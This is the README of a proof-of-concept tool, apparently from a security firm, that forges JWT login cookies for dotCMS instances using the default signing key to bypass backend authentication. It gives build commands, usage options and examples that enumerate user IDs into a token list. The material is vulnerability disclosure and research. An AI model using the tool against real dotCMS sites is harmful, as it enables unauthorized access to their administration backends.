PoC JWT Token Generator, written by Timo Müller
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dotCMS Token Generator

This PoC tool allows the generation of Json Web Tokens (JWT) for .dotCMS instances that use the default signing key. By using the generated token as "AutoLogin" cookie, it is possible to bypass the dotCMS authentication and access the CMS backend.


This is a Maven repository, you can build the JAR as follow

mvn package


The tool is quite self explaining

java -jar ./dotCMSTokenGenerator-0.0.1-shaded.jar 
----- dotCMS TokenGenerator PoC by MOGWAI LABS GmbH (https://mogwailabs.de) -----

usage: generate_dotCMS_JWT.jar
 -e,--enumerate <arg>   enumerate usernames (e.g. -e 1:100:dotcms.org.
                        --> dotcms.org.[1-100]
 -k,--key <arg>         custom signing Key, the JWT will be signed with
                        this key.
 -o,--output <arg>      output File for JWT List
 -u,--user <arg>        userID

Example usage: generateDotCMS_JWT.jar -u 'dotcms.org.1'
Example usage: generateDotCMS_JWT.jar -e '2700:2900:dotcms.org.' -o '/tmp/tokens.lst'


This tool was build/tested with Oracle Java 1.8. If you are using a newer/different Java version you might have to run the JAR file as follows:

java --add-modules java.xml.bind -jar dotCMSTokenGenerator-0.0.1-shaded.jar  [options]